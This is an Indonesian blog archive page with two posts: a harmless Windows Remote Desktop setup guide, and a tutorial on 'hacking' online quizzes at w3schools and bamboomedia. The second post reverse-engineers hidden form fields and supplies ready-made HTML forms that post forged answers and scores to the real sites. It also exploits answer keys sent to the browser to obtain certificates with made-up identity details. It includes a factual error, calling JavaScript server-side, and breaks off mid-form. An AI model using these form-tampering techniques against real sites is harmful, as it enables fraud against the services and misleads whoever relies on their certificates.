darkp0int: Juni 2010

Jumat, 25 Juni 2010

Tutorial menggunakan Remote Desktop Connection pada windows

====================================

author: plonk5638

date: 11 Februari 2010

thanx to: tankgoeh

====================================

Sebulan yang lalu saya di tanya oleh teman sekantor saya yaitu  tankgoeh mengenai bagaimana caranya agar TV tuner yang terpasang pada  Komputer server bisa juga di lihat pada komputer dia. Meskipun saya  mengetahui mengenai remote jarak jauh dengan menggunakan trojan, tetapi  hal itu tidaklah berani saya lakukan. Hal ini karena mayoritas  orang-orang di kantor saya akan mengira bahwa trojan itu sangatlah  berbahaya karena dapat merusak komputer, apalagi komputer yang akan di  remote adalah komputer server kantor saya. Sehingga akhirnya saya jawab  tidak bisa. Lalu dia pun mengatakan bahwa katanya kalau menggunakan  feature remote desktop kita bisa meremote komputer dari jarak jauh, bisa  nggak?. Karena saya juga merupakan orang yang awam di dunia komputer  maka saya jawab tidak lalu secepatnya saya berlari menuju ke komputer  saya dan lalu surfing ke google untuk melihat-lihat apakah ada artikel  yang bisa saya baca untuk mempelajari mengenai remote desktop ini. Dan  akhirnya saya pun berhasil menyetting agar komputer server tersebut bisa  di remote dari jarak jauh walaupun TV tuner nya tetap saja tidak bisa  di lihat dari komputer saya (mungkin ini karena ada kesalahan pada TV  tuner nya atau apa saya juga kurang tahu).

Berikut ini adalah  beberapa kegunaan dari remote desktop yang saya ketahui:

1. Untuk mengoperasikan suatu komputer dari jarak jauh

2. Untuk menggunakan aplikasi yang ada pada komputer remote (misalnya  jika firefox pada komputer remote digunakan oleh salah satu komputer,  maka komputer yang lain tidak akan bisa menggunakan firefox yang ada  komputer remote (1 user 1 apps)).

3. Untuk menghemat jumlah monitor yang ada, jadi suatu CPU bisa  dijalankan tanpa monitor/keyboard/mouse jika kita telah menyetting CPU  tersebut agar bisa di remote. (1 monitor beberapa CPU).

4. Untuk melakukan apa yang tidak dapat di lakukan oleh shared folder.

5. Mengurangi energi karena tidak perlu jalan-jalan dari satu komputer  ke komputer lain.

Ok kita langsung saja. Remote Desktop adalah feature yang ada pada  windows (g tau klo OS yg lain) yang gunanya adalah untuk mengendalikan  suatu komputer dari jarak jauh dengan hanya berbekal IP address dan  password user logon nya saja. Tampilan yang ada pada komputer kita akan  berubah menjadi tampilan yang ada pada tampilan komputer remote, jadi  baik semua cookies, cache, history, software dan file-file lainnya  adalah file-file yang ada pada komputer remote , bukan komputer kita.  Cara menyettingnya mudah.

NOTE: 

# komputer yang akan di remote = Komputer A ,dengan alamat IP  local 10.100.164.171

# komputer yang akan melakukan remote = B ,dengan alamat IP local  10.100.164.145

# komputer A dan B menggunakan OS windows 7 ultimate

# Baik pada windows 7, XP, Vista, dan windows server 2003 cara untuk  menyetting dan menggunakan remote desktop adalah sama saja, yang berbeda  adalah versi dari remote desktop dari masing-masing OS.

a. Pada komputer A >> Klik kanan pada my computer lalu pilih  properties.

b. Selanjutnya pilih bar Remote lalu centang salah satu checkbox  berikut:

- Select Don’t allow connections to this computer untuk  mencegah seseorang melakukan koneksi pada komputer ini dengan  menggunakan remote desktop/RemoteApp.

- Select Allow connections from computers running any version of  Remote Desktop (less secure) untuk memperbolehkan seseorang  melakukan koneksi pada komputer anda dengan menggunakan semua versi dari  remote desktop/remoteApp. Ini adalah pilihan yang bagus jika kita tidak  tahu versi dari remote desktop dari komputer B, tapi hal ini tentunya  mempunyai tingkat keamanan yang kurang jika di bandingkan oleh pilihan  ke 3. Pilih opsi ini jika anda tidak mengetahui versi dari komputer B,  atau versi remote desktop dari komputer B lebih rendah dari komputer A.

- Select Allow connections only from computers running Remote Desktop  with Network Level Authentication (more secure) untuk  memperbolehkan seseorang untuk menjalankan remote desktop/remoteApp pada  komputer ini dengan menggunakan Network Level Authentication. Ini  adalah pilihan yang paling aman jika Komputer A dan B adalah menggunakan  Windows 7. (Pada windows 7, remote desktop menggunakan Network Level  Authentication).

c. Jika anda mengetahui versi remote desktop komputer B yang akan  menjalankan remote, maka anda di sarankan untuk memilih opsi more  secure. Jika anda tidak mengetahui versi remote desktop dari komputer B  maka anda di sarankan memilih less secure. Cara melihat versi bisa di  lakukan dengan cara menjalankan run lalu ketik mstsc dan tekan enter.  Lalu klik kanan pada header tampilan remote desktop connection, dan  pilih about.

Semakin  tinggi versi remote desktop maka versi di bawahnya tidak akan bisa  melakukan koneksi. Jika hanya 1 komputer yang akan meremote kemungkinan  untuk memilih opsi more secure sangat di rekomendasikan, akan tetapi  jika komputer yang akan melakukan remote berjumlah banyak (dalam  jaringan yang terdiri dari berbagai komputer dan OS) maka saya  merekomendasikan untuk memilih opsi less secure.

d. Pada komputer B, jalankan run >> ketik mstsc ,lalu enter, maka  tampilan akan menjadi seperti ini:

# General: Silahkan masukkan alamat IP dari komputer yang akan di remote  (komputer A) dan enter. Lalu masukkan user+pass logon windows komputer A  jika diminta. Selamat Sekarang anda sudah bisa meremote komputer A dari  jarak jauh.

Informasi tambahan:

1. Anda bisa menyetting user mana saja dalam jaringan yang bisa  melakukan remote pada komputer A:

a. Pada komputer A, klik kanan pada my computer lalu pilih properties

b. pilih remote setting, terserah anda mau memilih more secure/less  secure, lalu selanjutnya pilih select users

c. pilih add, lalu tekan advanced.

d. Pilih location lalu tentukan komputer mana yang bisa melakukan  remote.

e. Selanjutnya tekan find now dan pilih user mana saja dari komputer  yang di pilih tersebut yang bisa melakukan remote. kalo sudah tekan OK.

NOTE: secara default user administrator pada setiap komputer bisa  melakukan remote.

2. Anda juga bisa melakukan penyettingan system remote desktop  connection.

Pada tampilan run mstsc, pilih menu option lalu disitu akan ada beberapa  tab bar yaitu:

a. GENERAL: untuk memasukkan alamat IP komputer beserta user logon yang  akan di remote. Saran saya kosongin saja, karena nantinya anda juga  diharuskan memasukkan user + pass logon pada komputer A. Terdapat 2  pilihan save di sini, yaitu:

- Save for credential: Jika anda ingin menyimpan data agar proses  logon bisa langsung berjalan dengan menggunakan user tersebut maka opsi  ini adalah pilihannya. Misalnya pada komputer remote tadi mempunyai  alamat IP 10.100.164.171 dengan nama komputer "KOMPUTER A" dan anda  ingin meremote sebagai administrator, maka pada box komputer masukkan ip  10.100.164.171 dan pada username masukkan KOMPUTER  A\administrator. Hal ini berguna ketika kita malas gara-gara  keseringan memasukkan nama dan password untuk mengkoneksi komputer  remote/komputer A.

NOTE: Hati-hati dengan penggunaan save for credential ini, karena  username yang akan di simpan adalah "KOMPUTER A/Administrator". Jika  anda mencabut LAN, maka username akan terisi nama komputer anda misal  "KOMPUTER B/administrator", sehingga ketika anda mencolokkan kabel LAN  lagi, dan alamat IP yang anda masukkan adalah 10.100.164.171 maka anda  tidak akan bisa mengkoneksi komputer A lagi, karena username nya masih  terisi KOMPUTER B/administrator. Jadi anda harus menghapus tanda centang  pada save for credential lalu mengganti username nya menjadi KOMPUTER  A/administrator. (Hal ini saya alami ketika saya masuk ke jaringan LAN  kantor saya dengan menggunakan Laptop pribadi saya).

- Save connection settings: Ini digunakan untuk menyimpan  seleuruh settingan remote desktop connection dalam bentuk file RDP.  Dengan adanya file ini, maka dengan double klik file RDP ini  anda bisa  langsung meremote komputer yang telah di tentukan sebelum nya secara  langsung.

saran saya jangan memilih opsi save for credential, karena anda akan  mengalami kebingungan dalam menjalankan remote desktop ini. Intinya  nggak usah di save daripada ribet nantinya 

b. Display: untuk mengatur tampilan dari remote desktop, kualitas  gambarnya maupun ukuran dari layar remote desktop. Secara default  tampilan yang ada adalah full screen. Dan pada kolom checkbox display  the connection bar when i use the full screen pastikan anda  centang, agar nantinya anda tidak akan mengalami kebingungan untuk  keluar dari remote desktop jika anda memilih full screen.

c. LOCAL RESOURCES: g usah di jelasin pasti ngerti. Intinya anda bisa  memainkan mp3 tetapi dengan suara yang ada pada CPU remote. Saran saya  pada menu keyboard biarkan tetap only when using the full screen  aja, biar anda tidak kerepotan nantinya pada saat menggunakan remote  desktop.

d. PROGRAMS:

# Jika anda ingin ketika anda melakukan koneksi remote dekstop pada  komputer A, maka akan langsung menjalankan firefox yang ada pada  komputer A tersebut. Misalnya untuk firefox ini anda dapat mengisikan  path berikut (sesuaikan dengan komputer anda):

C:\Program Files\Mozilla Firefox\firefox.exe

# Jika anda ingin ketika anda melakukan koneksi remote desktop pada  komputer A, maka anda akan langsung berada pada folder DATA PENTING yang  ada pada drive D komputer A. Maka anda bisa mengisikan path berikut  pada kolom start in following folder:

D:\data penting

e. EXPERIENCE: Yang ini pelajari sendiri aja, cz kebanyakan , lagian  ada beberapa point yang saya tidak begitu mengerti . Point terpenting di  sini adalah centang reconnect when connection is droped untuk  melakukan koneksi ulang jika jaringan mengalami gangguan. Lalu pastikan  pada menu choose your connection speed to optimize performance  anda memilih jalur yang efektif, jika anda dan komputer remote  dihubungkan oleh LAN sebaiknya gunakan LAN, karena menghemat biaya  bandwitch.

f. ADVANCED:

Apa yang dimaksud denan server authenticatio  options? Pada remote desktop connection, server authentication  memverifikasi bahwa anda meremote komputer yang tepat. Ada 3 opsi  authentication pada tab advanced ini, yaitu:

- Connect and don't warn me: Pada pilihan ini tidak di butuhkan  suatu proses verifikasi

- Warn me: Pada pilihan ini jika remote desktop connection tidak  dapat memverifikasi idenditas dari komputer remote maka anda akan  mendapatkan peringatan agar anda tetap meneruskan koneksi remote atau  tidak.

- Do not connect: Pada pilihan ini jika remote desktop connection  tidak dapat memverifikasi idenditas dari komputer remote maka anda  tidak dapat melakukan koneksi.

Jika anda tidak yakin dengan pilihan ini, biarkan Remote desktop  connection pada pilihan default nya yaitu "warn me".

---Selamat mempelajarinya---

Hacking soal-soal online

author: darkslayer

date: 2 februari 2010, 04:17 WIB

owahemmm...

ngantuk banget nich malem2 gini, gak ada rokok lagi.. tp isenk2 nulis ahh.. siapa tahu di jadiin salah satu artikel JS.. Lumayan buat balas jasa ke bang p4njul, orcha, meonkzt, adwisatya, dan cancer yang selalu siap menjawab semua pertanyaan-pertanyaan bodoh q..

Pertama-tama bagi temen-temen yang suka surfing internet pasti mengetahui mengenai uji kemampuan online baik yang tidak memberikan apa-apa, sampai kepada quiz berhadiah, sertifikat gratis, dan lain-lain. Test uji kemampuan online ini aq bedakan menjadi 2 bagian, yaitu yang berskala kecil dan berskala besar. Yang berskala kecil contohnya: Ujian kuliah online yang hanya di tujukan untuk beberapa orang saja dan hanya di ujikan pada saat itu juga (tidak rutin dan usernya sedikit). Pada skala kecil ini, kita jangan terlalu berharap karena System web nya di garap secara simpel, dan biasanya tidak ada database online yang akan di bandingkan dengan jawaban tadi. Maklum karena database nya berada di kepala/otak sang DOSEN, jadi pengecekan soalnya menggunakan cara manual. Sedangkan yang dimaksud dengan skala besar adalah test uji kemampuan yang memiliki user banyak dan penggunaan soalnya akan diambil dari database Bank soal yang diambil secara random. Karena tidak dimungkinkan terjadinya pengecekan jawaban secara manual, maka di bangunlah suatu system web agar pencocokan pertanyaan dengan jawaban dapat di lakukan dengan cepat dan mudah. Contohnya uji kemampuan online pada w3schools dan bamboomedia

Bagaimana cara mendapatkan hasil sempurna dan cepat pada uji kemampuan online??

CAranya cuma 1. PELAJARI SCRIPT nya..!!

Di bawah ini merupakan contoh saja, betapa mudahnya meraih nilai sempurna pada test uji kemampuan online.

====================================

A. Test kemampuan di w3schools.com

w3schools adalah salah satu tempat terfavorit bagi para pemula untuk mempelajari web programming. Setelah selesai belajar, w3schools menganjurkan kita agar mengecek sejauh mana kemampuan kita dalam mempelajari web programming tersebut. Katakanlah di sini adalah HTML yang link quiz nya ada di http://www.w3schools.com/html/html_quiz.asp .Setelah menjawab semua pertanyaan kita akan mengetahui hasil dari soal2 yang sudah kita jawab beserta jangka waktu berapa lama kita mengerjakannya. Berapapun nilai kita, kita tidak akan mendapatkan apa-apa (sertifikat/hadiah). Hal ini karena quiz tersebut hanyalah di sediakan sebagai alat uji kemampuan kita saja. Sedangkan kalau ingin mendapatkan sertifikat, kita diharuskan membayar $75. mahal banget

hadahhh.. kebanyakan koment nich.. langsung 2 the point aja,, daripada bosen baca nya.

POC w3schools:

1. tidak ada batasan waktu (maklum cz g ada hadiahnya)

2. Tampilannya menggunakan HTML, sedangkan engine nya menggunakan ASP

3. Jumlah soalnya ada 20

4. Semua soal di ulang-ulang terus dengan urutan jawaban yang acak (kadang yang benar ada di opsi A, kadang yang benar ada di opsi B)

5. penghitungan waktu nya menggunakan ASP

praktek:
Pada uji kemampuan di w3schools kita akan memilih uji soal HTML sbg contoh pembahasan disini. Pertama-tama kita akan masuk pada http://www.w3schools.com/html/html_quiz.asp ,lalu disitu kita pilih "START THE HTML QUIZ" yang url nya ada pada http://w3schools.com/quiztest/quiztest.asp?qtest=HTML


<a target="_top" href="/quiztest/quiztest.asp?qtest=HTML">Start
the HTML Quiz</a></p>

Pada w3school ini ternyata tidak ada batasan waktu untuk menjawab soal-soalnya. Setelah itu kita akan di hadapkan pada soal pertama. Yang berisi

1.What does HTML stand for?

a. Hyper Text Markup Language
b. Hyperlinks and Text Markup Language
c. Home Tool Markup Language

jika kita coba berulang-ulang, dari sini kita bisa mengetahui bahwa seluruh soal yang diujikan adalah sama, urutan nomer soalnya juga sama, yang beda adalah letak opsional jawaban yang benar. Pada soal pertama ini marilah kita lihat source codenya. Yang penting ada pada baris ini.

<form name="quizform" action='quiztest.asp?qtest=HTML' method='post'> <input type="hidden" name="starttime" value="1/29/2010 11:07:00 PM"> <input type="hidden" name="answers" value="00000000000000000000" size="20"> <input type="hidden" name="qnumber" value="1" size="20"> <table class='front' width='100%' border='0' cellspacing="0" cellpadding="1"> <tr> <th class='front' align='left'> HTML QUIZ</th> <th class='front' align='right'>http://www.w3schools.com </th> </tr> <tr> <td class='front' colspan='2'> <br /><table><tr><td valign='top'><b> 1. </td><td valign='top'><b>What does HTML stand for?<b></td></tr></table><br /><table border='0'><tr><td valign='top'><input type='radio' name='quiz' value='3' /></td><td>Hyper Text Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='2' /></td><td>Hyperlinks and Text Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='1' /></td><td>Home Tool Markup Language</td></tr> <tr><td> </td><td> </td></tr> </table> <br />  <input type='submit' value=' Next '>

Karena menggunakan ASP, maka kita jangan berharap untuk mengetahui script yang di gunakan dan bagaimana pengolahannya, karena asp merupakan server side. Tapi setidak nya ada beberapa informasi di situ yang bisa kita lihat, seperti: 4 baris script di awal. Yang berisi input hidden. input yang bernilai hidden inilah yang menjadi obyek pertama yang harus kita curigai. WHY? ya, klo nggak rahasia nggak mungkin di hidden lah... dan disini kita mendapatkan sebuah name starttime dengan value waktu pertama kali kita membuka soal ujiannya yaitu tanggal 1/29/2010 pukul 11:07:00 PM. Mengapa kok jam nya tidak sama dengan jam di browser kita?? yah.. karena timer nya di buat dengan menggunakan ASP, jadi waktu yang digunakan adalah jam pada server w3schools yang berada di USA. Coba googling antara perbedaan ASP dengan javascript atau perbedaan antara client side dengan server side.
pada hidden yang kedua terdapat name answer dan value 00000000000000000000 yang saat ini kita tidak tahu ini apa'an. Lalu yang ketiga terdapat name qnumber dengan value 1. Yang juga nggak tahu itu apaan sebelum menjelajahi semuanya.

Setelah itu terdapat method POST yang menjadi obyek perhatian kedua kita. karena kita pasti berpikir: " mau di kemanakan jawaban pertanyaan kita??"
Lalu pada obyek ke tiga yang perlu di perhatikan tentunya adalah input radio nya. Karena disitulah terletak value yang harus kita perhatikan. Dan pada kasus ini terlihat sedikit keanehan yaitu: "kenapa urutan opsi pilihan ganda nya nggak urut seperti nilai value nya?" .Sampai disini kita belum menemukan jawabannya karena info yang di dapat masih kurang. Jadi kita lanjut pada soal kedua. dan kita coba lihat source nya. (tentunya kita pilih opsi A (hyper text Markup Language) sbg jawaban yang benar, lalu kita klik NEXT)

lalu kita akan di direct pada soal ke dua. Kita lihat source nya.

<form name="quizform" action='quiztest.asp?qtest=HTML' method='post'> <input type="hidden" name="starttime" value="1/29/2010 11:08:07 PM"> <input type="hidden" name="answers" value="30000000000000000000" size="20"> <input type="hidden" name="qnumber" value="2" size="20"> <table class='front' width='100%' border='0' cellspacing="0" cellpadding="1"> <tr> <th class='front' align='left'> HTML QUIZ</th> <th class='front' align='right'>http://www.w3schools.com </th> </tr> <tr> <td class='front' colspan='2'> <br /><table><tr><td valign='top'><b> 2. </td><td valign='top'><b>Who is making the Web standards?<b></td></tr></table><br /><table border='0'><tr><td valign='top'><input type='radio' name='quiz' value='2' /></td><td>Microsoft</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='3' /></td><td>Mozilla</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='1' /></td><td>The World Wide Web Consortium</td></tr> <tr><td> </td><td> </td></tr> </table> <br />  <input type='submit' value=' Next '>

Jika kita lihat2 terdapat beberapa perubahan:
1. starttime bertambah menjadi 11:08:07 PM (indikator waktu yg dibutuhkan untuk menjawab, jd g usah di bahas lg)

2. answers berubah menjadi 30000000000000000000 (belum tahu)

3. qnumber berubah menjadi 2 (belum tahu)

alu kita tentunya pilih opsi C yaitu the world wide web consortium sbg jawaban yg benar. Dan kita beranjak ke soal ke 3 dan kita mendapatkan perubahan pada:
1. answers berubah menjadi 31000000000000000000 (belum tahu)

2. qnumber berubah menjadi 3 (ternyata inilah yang menentukan nomer soalnya, jd g usah di bahas lg)

Lalu singkatnya semuanya kita jawab dan sampai pada soal ke 20. Dan yang mengalami perubahan adalah:
1. answers berubah menjadi 31121222312322332140
kita masih belum tahu juga sampai saat ini. Lalu krn pertanyaannya adalah "What is the correct HTML for inserting a background image?" maka aq jawab "<body background="background.gif">" dan klik next. Dan dengan tidak seberapa kaget, aq mendapatkan nilai 15 dengan jumlah waktu 4 menit 27 detik. Maklum aq nggak hafal semua tag-tag dari HTML.

Tapi yang menjadi pertanyaan adalah bagaimana server bisa menilai bahwa jawaban yg aq masukan bernilai 15??
Dan setelah diselidiki ternyata hal ini berada pada value input name="answers" tadi.

Darimana kita tahu???
coba kita lihat ulang script soal pertama tadi. Meskipun urutan jawabannya adalah acak, tetapi value untuk jawaban Hyper text markup language selalu bernilai 3, dan pada soal ke dua untuk jawaban the world wide web consortium selalu bernilai 1. Karena jawaban ini paten benar maka value 30000000000000000000 dan 31000000000000000000 aq jadikan sebagai landasan yang benar. Lalu bagaimana server tahu bahwa value 31121222314323122140 yang aq dapat kan ketika akan menjawab soal ke 20 bernilai 15?? Ternyata setelah aq cek pada opsi "check your answers" pada soal ke 12,13,14,15 dan 16 aq salah menjawabnya. Setelah menjawab soal ke 20, kita akan menemukan source ini:

Lalu aq pun mencoba menebak-nebak valuenya, yaitu mengedit pada karakter ke 12,13,14,15 dan 16 karena jawaban q yang salah ada pada karakter nomor ini. Tentunya dalam menebak ini, kita diharuskan mengganti link relatif nya menjadi absolute. Yaitu dengan merubah action="result.asp" menjadi action="http://w3schools.com/quiztest/result.asp". agar lebih mudah silahkan save script ini dengan nama coba.html

<html><head></head><body><p>jangan lupa isi value nya..!!</p> <form action="http://www.w3schools.com/quiztest/result.asp" method="post"> <input type="hidden" name="points" value="15"> <input type="hidden" name="percentPoints" value="75"> <input type="hidden" name="qtest" value="HTML"> <input type="hidden" name="timespent" value="4:27"> <input type="hidden" name="answers" value="isi_value_terserah_anda"> <input type="submit" value="cek jawaban"> </body></html>

cara nebaknya silahkan isi value yang anda mau lalu tekan cek jawaban:
11111111111111111111 >> jawaban 1,4,6,7,8,9,11,12,14,15,16,17,19,20 salah
21121222212212222122 >> jawaban 1,9,11,12,15,16,19 salah
31121222313312332132 >> jawaban 11,12,19 salah
31121222314412332142 >> semua jawaban benar

Singkatnya temen2 pasti sudah tahu bagaimana cara saya mendapatkan nilai 100% dari semua soal yang di ujikan di w3schools dalam waktu beberapa menit baik HTML, XHTML, CSS, JavaScript, XML, ASP, PHP, dan SQL Quiz. Cara mendapatkan jawabannya adalah dengan merubah value="html" pada file coba.html diatas menjadi css, sql ,php dst. Misalnya untuk CSS adalah 32312122123143134324 dan untuk SQL adalah 13124231312133421134 ,padahal sampai saat aq menulis inipun, aq belum pernah melihat satupun soal-soal yang diujikan selain pada quiz HTML. (nggak percaya gpp, cz g ada untungnya jg)

jadi untuk mendapatkan nilai 100% pada soal manapun (dalam kasus ini adalah CSS) adalah sebagai berikut:
1. akses alamat ini http://w3schools.com/quiztest/quiztest.asp?qtest=HTML
2. Save source nya dengan nama success.asp
3. lalu cari bagian ini:

lalu replace dengan ini:

<form name="quizform" action='http://www.w3schools.com/quiztest/quiztest.asp?qtest=CSS' method='post'> <input type="hidden" name="starttime" value="1/29/2011 10:52:48 PM"> <input type="hidden" name="answers" value="32312122123143134320" size="20"> <input type="hidden" name="qnumber" value="20" size="20"> <table class='front' width='100%' border='0' cellspacing="0" cellpadding="1"> <tr> <th class='front' align='left'> HTML QUIZ</th> <th class='front' align='right'>http://www.w3schools.com </th> </tr> <tr> <td class='front' colspan='2'> <br /><table><tr><td valign='top'><b> 1. </td><td valign='top'><b>What does HTML stand for?<b></td></tr></table><br /><table border='0'><tr><td valign='top'><input type='radio' name='quiz' checked="checked" value='4' /></td><td>Hyper Text Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='1' /></td><td>Home Tool Markup Language</td></tr> <tr><td valign='top'><input type='radio' name='quiz' value='2' /></td><td>Hyperlinks and Text Markup Language</td></tr> <tr><td> </td><td> </td></tr> </table> <br />  <input type='submit' value=' Next '>

hmmpphh.. memang sepertinya hal ini tidak lah berguna selain untuk pamer kepada temen-temen dekat anda. WHY? karena uji kemampuan dari w3schools ini memang tidak menjanjikan apa-apa (yang ada sertifikatnya harus bayar $75 dulu). Tapi saya tetap menulis ini hanya sebagai contoh tambahan pembelajaran saja dari hacking soal-soal online yang ada di internet. Maklum saja, karena w3schools merupakan salah satu tempat yang paling terkenal sbg tempat pembelajaran web programing, jadi sangat layak untuk di coba. (kasarannya klo w3schools aja gampang di analisa, kenapa yg lain tidak..??) Dan artikel yang sebenarnya yg ingin saya share ada pada postingan saya yang di bawah ini yaitu mengenai hacking bamboomedia

=========================================

B. Uji keahlian di Bambooedia
Tidak seperti w3schools, kali ini pihak bamboomedia yang mempunyai kantor di BALI memberikan kita ketertarikan khusus dalam mempelajari ilmu IT. Karena disitu terdapat sebuah hadiah menarik berupa sertifikat online jika kita berhasil mendapatkan nilai di minimal 80 untuk setiap mata pelajaran yang diujikan. Mata pelajaran tersebut salah satunya adalah dasar internet, ASP, mysql, photoshop, windows server 2003 dan lain-lain. Jika anda mengalami kesulitan, bisa saja mendownload tutorial nya yang sudah di sediakan link nya oleh pihak bamboomedia.

Situs ini pertama kali aq dapat dari postingan temanku yaitu eliash pada forum nimbuzzing.org disini. Singkat saja, kita langsung ke topik permasalahan, yaitu bagaimana cara mendapatkan nilai 100 dengan cepat untuk semua mata pelajaran. Dan tentunya SEMUA sertifikat gratis nya

Pertama-tama kita masuk ke http://bamboomedia.net/ujikeahlian.php untuk mengisi informasi-informasi yang diminta. terakhir, kita akan di minta untuk memilih jenis soal yang akan di ujikan. Saya pun memilih "dasar internet" sebagai contoh disini. Sebelum menekan tombol SUBMIT, tentunya kita harus mengetahui source page nya terlebih dahulu untuk memeriksa akan dikirim kemana form input kita.

<form action="ujikeahlian2.php" method="post" name="form1" onSubmit="MM_validateForm('nama','','R','emailaddr','','RisEmail',

'handphone','','RisNum','alamatkirim','','R','nama2','','R');return document.MM_returnValue">

dari situ dapat di lihat bahwa form input tadi akan di kirim pada ujikeahlian2.php. Sekarang kita klik "Ikuti Uji Keahlian"

Kita akan masuk pada ujikeahlian2.php .Disitu kita akan disuguhi 20 pertanyaan mengenai dasar internet yang mengharuskan kita untuk menjawab dalam waktu 10 menit. Jika soal belum selesai dikerjakan dalam 10 menit, maka kita akan di direct ke kuisbejo3.php dan akan di direct lagi menuju ujikeahlian4.php

if (_currentSeconds <= 0) { alert("waktu anda habis"); document.forms[1].submit(); //cek input jawabannya.. document.forms[1].action="kuisbejo3.php"; //document.location = "kuisbejo3.php"; return;

tapi yg itu g penting kok, krn kita g bakalan kehabisan waktu dlm menjawab soalnya. why?? krn countdown timer nya menggunakan javascript yang notabene sudah kita kenal sebagai server side, tidak seperti w3school yg menggunakan server side, shingga lebih mudah untuk mengelabuinya. Yupz, disable aja javascript pada browser kita. Caranya pada mozilla pilih tools>>option>>content>>hapus centang enable javascript>>OK

maka countdown timer pun akan mati. Dan kita bisa menggunakan google untuk menjawab semua pertanyaan itu atau bahkan menelepon guru private kita untuk menjawab pertanyaannya, Maklum nggak ada cookies jadi masih stateless. Tapi menurut pengalaman q dalam menjawab melalui google pun kita akan mengalami kesusahan untuk mendapatkan nilai di atas 80. Jadi tinggalkan cara ini dan kita lanjut ke cara yg lain. (timer tidak dihitung sbg dasar penilaian)

Mari kita lihat script ujikeahlian2.php yg tadi dan anda akan menemukan sebuah input hidden.. Yupz klo nggak rahasia nggak mungkin di hidden.

masih ingatkan ttg form input ujikeahlian.php tadi di kirim kemana?? ea... form input ujikeahlian.php d kirim ke ujikeahlian2.php yang salah satu gunanya adalah untuk memenuhi form-form hidden tersebut. Jadi singkatnya kita tidak lagi membutuhkan ujikeahlian.php krn kita bs langsung mengganti informasi yang ada tersebut dengan cara mengedit source ujikeahlian2.php.

Lalu sekarang kita ke bagian yg paling penting, yaitu pada source soal. Karena kita akan berpikiran "akan di olah seperti apakah input yg sudah kita masukkan tadi dan akan di kirim kemana??"

Dengan sedikit tercengang, kita pasti kaget melihat bahwa ternyata ujikeahlian2.php tidak lah semata2 memuat soal2 saja, tetapi juga memuat JAWABANNYA juga. (aq ambil soal ke 1)

<font class='normalTxt3'><strong>1. </strong> <strong>Toko Buku Online yang paling terkenal di internet :</strong><br/> <input type="radio" name="soal1" value="Bhinneka.com">Bhinneka.com<br/> <input type="radio" name="soal1" value="Amazon.com">Amazon.com<br/> <input type="radio" name="soal1" value="UEFA.com">UEFA.com<br/> <input type="radio" name="soal1" value="Yahoo.com">Yahoo.com<br/> <input type="radio" name="soal1" value="Zencart.com">Zencart.com<br><br> <input type="hidden" name="kunci1" value="Amazon.com"></font><br>

lihat name kunci1 ..disitulah kunci jawaban nomor 1. Begitu pula pada nomor2 berikutnya jawabannya ada pada kunci2 , kunci3 dst.

Jadi kita bisa melakukan sedikit kecurangan. eh maaf, bukan kecurangan tapi memanfaatkan kemudahan yang di berikan. WHY? cz kita tadi kan cuma minta soalnya, tp pihak penyedia soal malah memberikan soal beserta jawabannya, jadi mengapa kita tidak menggunakan ctrl+F (find) saja untuk menjawab semua soal itu.. kasaranya pihak penyedia soal sangat berbaik hati

Dari situ teman2 mungkin sudah bisa mendapatkan nilai 100 dengan cepat. Tapi target kita nggak itu aja. Target kita lebih besar yaitu mendapatkan nilai sempurna untuk 25 jenis soal yang di sediakan. Bisa di bayangkan jika kita hanya mengandalkan ctrl+u dan ctrl+f pada mozilla saja maka kita akan sedikit mengalami kelelahan. karena kita harus berulang2 memasukkan CV pada ujikeahlian.php dan mencari kata kunci pada source tiap jenis soal.

Maka singkat nya, mari kita gunakan sebuah keunggulan dari stateless ini. yaitu sifat dari web yang tidak mengenali siapa dan darimana dia mengakses link tsb. Dan langsung kita ubah scriptnya sehingga menjadi:

<html><head></head><body><form name="form1" method="post" action="http://www.bamboomedia.net/ujikeahlian3.php"> <p> <span class="normalTxt2"> <input name="jml_soal" type="hidden" id="jml_soal" value="20">  <input name="peserta" type="hidden" id="peserta" value="Rudi Rahardjo"> <input name="tanggal" type="hidden" id="tanggal" value="25012010"> <input type="hidden" name="email" id="email" value="cehhms@hotmail.com"> <input type="hidden" name="pekerjaan" id="pekerjaan" value="Mahasiswa"> <input type="hidden" name="handphone" id="handphone" value="081788996545"> <input type="hidden" name="alamatkirim" id="alamatkirim" value="Jl. Sukolilo 11">  <input type="hidden" name="propinsi" id="propinsi" value="JAWA TIMUR"> <input type="hidden" name="kota" id="kota" value="SURABAYA">  <input type="hidden" name="modul" id="modul" value="Dasar Internet"> </span></p> <input type="radio" checked="checked" name="soal1" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci1" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal2" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci2" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal3" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci3" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal4" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci4" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal5" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci5" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal6" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci6" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal7" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci7" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal8" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci8" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal9" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci9" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal10" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci10" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal11" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci11" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal12" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci12" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal13" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci13" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal14" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci14" value="Amazon.com"><br> <input type="radio" checked="checked" 